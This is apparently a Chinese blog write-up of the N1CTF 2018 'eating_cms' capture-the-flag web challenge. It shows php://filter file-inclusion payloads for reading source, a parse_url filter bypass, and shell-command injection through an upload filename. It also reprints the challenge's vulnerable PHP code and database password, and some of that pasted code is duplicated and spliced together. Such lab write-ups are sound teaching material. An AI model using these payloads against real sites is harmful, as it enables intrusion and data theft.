[N1CTF 2018]eating_cms_

最新推荐文章于 2024-10-10 11:21:08 发布
最新推荐文章于 2024-10-10 11:21:08 发布
阅读量373 收藏 1
点赞数 1
分类专栏： # web安全 文章标签： php 网络安全 安全 系统安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63701832/article/details/129797705
版权

目录

信息收集

代码审计 

parse_url解析漏洞 

信息收集

进入即是登录页面，抓包一看应该是SQL注入，但是空格、%、|等等啥的都被waf了,不太好注入，先信息收集一波

花一分钟扫下目录，发现一个viminfo和register.php

Viminfo文件是Vim用来记录退出时的状态

200  /index.php
200  /login.php
200  /register.php
200  /.viminfo
403  /.htaccess

vim updateadmin.php
vim info.php
vim login.php

发现一个info.php和updateadmin.php,访问的回显都是you can not visit it directly，我们先注册账号

注册admin时显示    Username has been registered!    

查看URL似乎是文件包含？用伪协议读取下user源码看看

/user.php?page=php://filter/convert.base64-encode/resource=user

代码审计 

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

/user.php?page=php://filter/convert.base64-encode/resource=function

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script><?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

/user.php?page=php://filter/convert.base64-encode/resource=config

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script><?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
        echo "no sql connection".mysqli_connect_error();
        $mysqli=null;
        die();
}
?>

$keywords = ["flag","manage","ffffllllaaaaggg"]这三个页面可能有重要信息

parse_url解析漏洞 

    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);

这里看下处理的逻辑

<?php
$a="http://78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn:81/user.php?page=guest";
$uri = parse_url($a);
print_r($uri);
//parse_str($uri[''], $query);
?>

Array
(
    [scheme] => http
    [host] => 78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn
    [port] => 81
    [path] => /user.php
    [query] => page=guest
)

<?php
$a="http://78fc9602-02c3-44ec-80cc-3d0163ecb605.node4.buuoj.cn:81/user.php?page=guest";
$uri = parse_url($a);
//print_r($uri);
parse_str($uri['query'],$query);
print_r($query);
//parse_str($uri[''], $query);
?>

Array
(
    [page] => guest
)

我们这里查到PHP版本是5.5.9 

这里利用parse_url解析漏洞

///user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>
///user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee
<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";
?>

尝试上传文件，上传失败。发现/templates/upllloadddd.php

读upllloadddd的源码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload fileï¼");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

现在需要找到上传点，莫非是之前的user.php?page=updateadmin吗？发现也没有上传处，最后看wp发现上传点在/user.php?page=m4aaannngggeee，看两者的页面貌似是继承来的？

貌似不能加/

filename=;cd ..;ls ;#

;cd ..;cat flag_233333;#

coleak
关注
专栏目录
[N1CTF 2018]eating_cms parse_url绕过
qq_62046696的博客
12-21 685
parse_url漏洞，有一个办法是使parse_url解析出错，从而无法进入下面的foreach判断。这道题考察的也不算是代码审计，更像是看你注意不注意细节，主要是一个个尝试的麻烦。伪协议访问会被过滤掉，直接到hacker的界面，然后我们就要想如何绕过，这句话是重点，用我们上传的文件名进行system，然后可以用管道符;为什么是这个而不是flag，是因为都试了以下，flag啥也不返回。那么问题又来了，这个既然是假的那真的上传界面在哪呢，文件上传的界面，随便上传了一个发现是一个假的界面。
【ctf】php://filter/read=convert.base64-encode/resource=
chualam的博客
11-03 3362
题目中flag在index里 打开后url有file= 发现index.php打开后没东西 于是就用到这个语句 这个语句的作用就是作为一个协议流的中间流 处理其他流 可以作为文件包含漏洞的攻击 至于为什么没有显示flag 肯定被注入掉了 这个协议还可以攻击一些php写入了exit导致无法连接菜刀的问题 把<>这些过滤掉 ...
[N1CTF 2018]eating_cms
paidx0
04-30 266
试了一会SQL注入，不是那么好注入，佬说有个注册页 register.php，就注册个号先进去看看 注意到page参数，大概率就是可以读文件了，所以开读 guest.php <?php if (FLAG_SIG != 1){ die("you can not visit it directly "); } include "templates/guest.html"; ?> user.php <?php require_once("function.php"); if( !..
BUUCTF--[N1CTF 2018]eating_cms
qq_46263951的博客
07-26 336
利用伪协议读取源码/user.php?page=php://filter/convert.base64-encode/resource=user <?php require_once("function.php"); if( !isset( $_SESSION['user'] )){ Header("Location: index.php"); } if($_SESSION['isadmin'] === '1'){ $oper_you_can_do = $OPERATE_adm.
buuctf-web-[N1CTF 2018]eating_cms1
mlws1900的博客
03-11 543
试了一下弱口令，无效，再试一下万能密码，告诉我有waf，先不想再怎么绕过，直接开扫（信息收集）发现一个上传界面，随机上传一个文件，显示错误，看到upllloadddd，读它源码。可以看到这一行有一个system函数，我们可以对filename传参利用。upllloadddd.php（该界面访问报错，不是真正的上传界面）然而这个上传界面没啥用，上传上去的代码被base64编码，无法解析。发现此为命令执行后的结果，找寻flag，查看上级目录。到此为止，把能读的源码全读了，开始代码分析。一个cms，先打开环境。
[N1CTF 2018]eating_cms1
alwtj的博客
09-08 912
是个parse_url漏洞利用，这段代码想让我们输入的url地址问好后过滤了"flag","manage","ffffllllaaaaggg"，所以我们可以推测存在“flag","manage","ffffllllaaaaggg"这个函数通常很安全，但如果不正确地使用或当输入的 URL 格式异常时，可能会引发一些潜在的问题或误解，但这并不直接等同于传统意义上的“漏洞”。实际上，它仅仅是一个解析工具，并不提供安全验证或清理功能。可能无法正确解析这些部分，尤其是在路径（path）或查询字符串（query）中。
[N1CTF 2018]eating_cms 不会编程的崽
不会编程的崽的博客
03-09 571
伪协议 绕过parse_url
ctf-tools-linux-master_ctf工具_ctf工具_CTFtools_CTF_Tools_
10-01
CTF常用小工具你值得拥有那个。。。。111
ctf脚本_ctfpy脚本_ctf跑脚本_ctf_ctf脚本密码_
09-30
ctf 密码学 脚本 合集 非常 nice
inno_ctf_2018_quals
05-16
InnoCTF 2018资格赛，任务和解决方案 所需的任务文件 按类别 网页 加密货币 竞价排名 TCP反向 重要时间 佩罗维奇克 :cross_mark: 你现在德威吗？ 法证 现在接吻 :cross_mark: 点击它！ 生日 间谍无处不在 :...
N1CTF 2018 lipstick WriteUp (bugku——多彩)
热门推荐
灬彬的博客
09-21 2万+
一开始是在bugku网站上看到这题的。。后来了解到是N1CTF2018国际赛的题。。   将图片下载下来之后放入Stegsolve。。。 看到了这个。。。(杨树林？？？)再加上题目是lipstick。。。心想着肯定与YSL的口红有关。。。 先分析下。。点击Analyse——&gt;Data Extract 看到有个PK头。。心里有数。。直接save bin 存为zip...
使用API接口创建短链接【PHP版】
weixin_43833373的博客
10-10 370
C1N短网址(c1n.cn)还提供了丰富的短链接管理的API接口，只需进行简单的接口调用，就能将稳定好用的短链接系统接入到自己的产品中，极大地降低了开发成本。上述代码中使用到的token需要前往C1N短网址(c1n.cn)-控制台-我的信息进行查询。
PHP智慧餐饮新风尚点餐系统
最新发布
2401_84593614的博客
10-10 390
总的来说，智慧餐饮新风尚点餐系统不仅为顾客带来了便捷、高效、个性化的点餐体验，也为餐厅提供了有力的运营支持。它让美食与科技实现了完美结合，让我们在享受美食的同时，也能感受到科技的魅力。如果你还没有尝试过这款点餐系统，不妨找个机会去体验一下，相信它会给你带来不一样的惊喜！
RCE+[伪协议综合]
2302_81328699的博客
10-03 561
伪协议综合
原生input实现时间选择器用法
敲代码无敌小奶龙的博客
10-08 461
原生input实现时间选择器用法
精品WordPress主题/响应式个人博客主题Kratos
2403_86698467的博客
10-05 725
主题设计简约友好，并且支持响应式，自适应访问，简seo单大方的主页构造，使得博客能在臃肿杂乱的环境中脱颖而出，Kratos内置主题设置，可设置seo关键字及站点描述页面伪静态，自定义的顶部样式（背景图 ），
CMSIS-RTOS V2封装层专题视频，一期视频将常用配置和用法梳理清楚，适用于RTX5和FreeRTOS（2024-09-28）
Simon223的博客
10-04 1161
CMSIS-RTOS V2封装层专题视频，一期视频将常用配置和用法梳理清楚，适用于RTX5和FreeRTOS（2024-09-28）
ctf_awd_platform
10-23
CTF（Capture The Flag）即夺旗赛，是一种网络安全竞赛形式。AWD（Attack-Defense）平台是一种特殊的CTF比赛平台，主要专注于攻击和防御的技能训练与比拼。 ctf_awd_platform是指一种特定的AWD平台，其目的是为了...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值